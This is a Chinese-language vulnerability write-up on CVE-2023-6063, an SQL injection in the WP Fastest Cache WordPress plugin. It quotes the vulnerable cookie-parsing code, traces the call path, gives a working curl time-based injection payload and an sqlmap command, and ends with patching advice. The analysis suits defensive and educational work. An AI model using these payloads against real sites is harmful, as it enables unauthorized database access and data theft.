CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入
字数 1104 2025-08-24 07:48:22
WordPress WP Fastest Cache 插件 SQL 注入漏洞分析 (CVE-2023-6063)
漏洞概述
CVE-2023-6063 是 WordPress 插件 WP Fastest Cache 中存在的一个 SQL 注入漏洞,影响版本低于 1.2.2。该漏洞允许攻击者通过精心构造的 Cookie 值执行任意 SQL 查询,可能导致敏感数据泄露或服务器被控制。
受影响版本
- WP Fastest Cache 插件 < 1.2.2
- WordPress 版本无限制
漏洞环境要求
- 安装 WordPress(任何版本)
- 安装 WP Fastest Cache 插件 1.2.1 或更低版本
- 启用 WP Fastest Cache 插件
- 启用"缓存系统"功能
漏洞位置
漏洞位于 cache.php 文件中的 is_user_admin() 方法:
public function is_user_admin(){
global $wpdb;
foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/wordpress_logged_in/i", $cookie_key)){
$username = preg_replace("/\|.*/", "", $cookie_value);
break;
}
}
if(isset($username) && $username){
$res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
FROM `$wpdb->users`
INNER JOIN `$wpdb->usermeta`
ON `$wpdb->users`.`user_login` = \"$username\"
AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\"
AND `$wpdb->usermeta`.`meta_value` = \"10\"
AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;");
return $res;
}
return false;
}
漏洞触发流程
- 插件加载时创建
WpFastestCache对象 - 构造函数调用
cache()方法 cache()方法调用createCache()方法createCache()方法调用is_user_admin()方法is_user_admin()方法从 Cookie 中提取wordpress_logged_in值- 提取第一个
|前的字符串作为用户名 - 未经过滤直接拼接到 SQL 查询中
漏洞利用方法
手动利用
构造恶意 Cookie 发送请求:
curl https://example.com -H "Cookie: wordpress_logged_in=1234\" AND (SELECT 2537 FROM (SELECT(SLEEP(5)))Sazm) AND \"qzts\"=\"qzts"
使用 sqlmap 自动化利用
python sqlmap.py --dbms=mysql -u "http://your-url/wp-login.php" --cookie='wordpress_logged_in_732bf205f063fd120b84d8a0d44e2d5d=*' --level=2 --current-user
有效载荷示例
正常 WordPress 登录 Cookie 格式:
wordpress|1702575454|gquEYSZ8lNbJktLUWLpElq4XybIhpPmOL3MmTMcqi4X|91c52c9d088ad036d8ccdc6ef645adfd906829527d27ea494140369cdbfbb1b9
恶意载荷只需修改第一个 | 前的内容即可注入 SQL 代码。
漏洞修复
WP Fastest Cache 插件在 1.2.2 版本中修复了此漏洞,主要措施是对输入参数进行了适当的过滤和转义。
修复建议
- 立即升级 WP Fastest Cache 插件至 1.2.2 或更高版本
- 对所有用户输入进行严格的过滤和转义
- 使用 WordPress 提供的 prepare 方法处理 SQL 查询
- 实施最小权限原则,限制数据库用户权限
技术要点总结
- 漏洞根源:未过滤的用户输入直接拼接到 SQL 查询
- 触发条件:插件启用且缓存系统开启
- 攻击向量:通过 Cookie 中的
wordpress_logged_in值注入 - 影响范围:可导致 SQL 注入攻击,获取数据库敏感信息
- 修复方法:参数过滤和使用预处理语句
参考
- CVE-2023-6063
- WP Fastest Cache 插件更新日志
- WordPress 官方安全建议